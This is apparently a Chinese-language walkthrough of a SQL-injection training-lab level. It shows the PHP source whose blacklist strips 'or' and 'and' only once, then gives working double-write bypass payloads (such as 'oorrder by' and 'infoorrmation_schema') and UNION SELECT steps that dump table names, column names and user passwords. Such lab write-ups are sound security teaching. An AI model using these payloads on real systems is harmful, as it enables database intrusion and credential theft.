1. 题目分析
这一关还是一个基于GET的注入,还是要先构造一个ID作为参数给他传进去。因为题目给的是string single quote
,所以ID的类型一定是单引号包裹的了。
根据一往的经验,两条语句一看便知。那么这道关卡的考点在哪里呢?
当我使用order by
测试检索字段的时候,就出现了问题。
这里我明明输入的order by
结果报错就只剩下了der by
,根据题目上的or and and belong to us
我们不难猜测,可能自己输入的or
或者and
应按是被后台给吃掉了。
我的第一反应是混用大小写,结果发现没有效果。后来尝试了一下oorrder by
结果奏效了。
可能就是后台仅仅过滤了一次,去掉了oorder
中间的or
变成了order
。那么此关卡的思路就很明确了。
使用如下代替方法即可:
or
->oorr
and
->anandd
2. 源码分析
以上呢是我个人的猜测,自己测试了一下也是可用的。但是为了更加理解这一关,还是需要看一下源代码。
下面就摘录一下比较核心的地方:
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
以上就是网站获取id
然后进行查询的过程。过程中使用了blacklist()
对id
进行了处理。
我们看一下这个函数的功能:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
就是将id
中的or
和and
都转化为空。(i
表示忽略大小写)
这也就验证了上面的猜测,oorr
由于将中间的or
变成了空,所以就变成了or
。
3. 注入过程
- 通过
?id=1' oorrder by 4 --+
得知检索字段为3. - 使用联合查询, 爆表
?id=' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema="security"),3 --+
- 已知表名,爆字段
?id= ' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema="security" aandnd table_name="users"),3 --+
- 最后爆值
?id= ' union select 1,(select concat(username, passwoorrd) from users limit 0,1),3 --+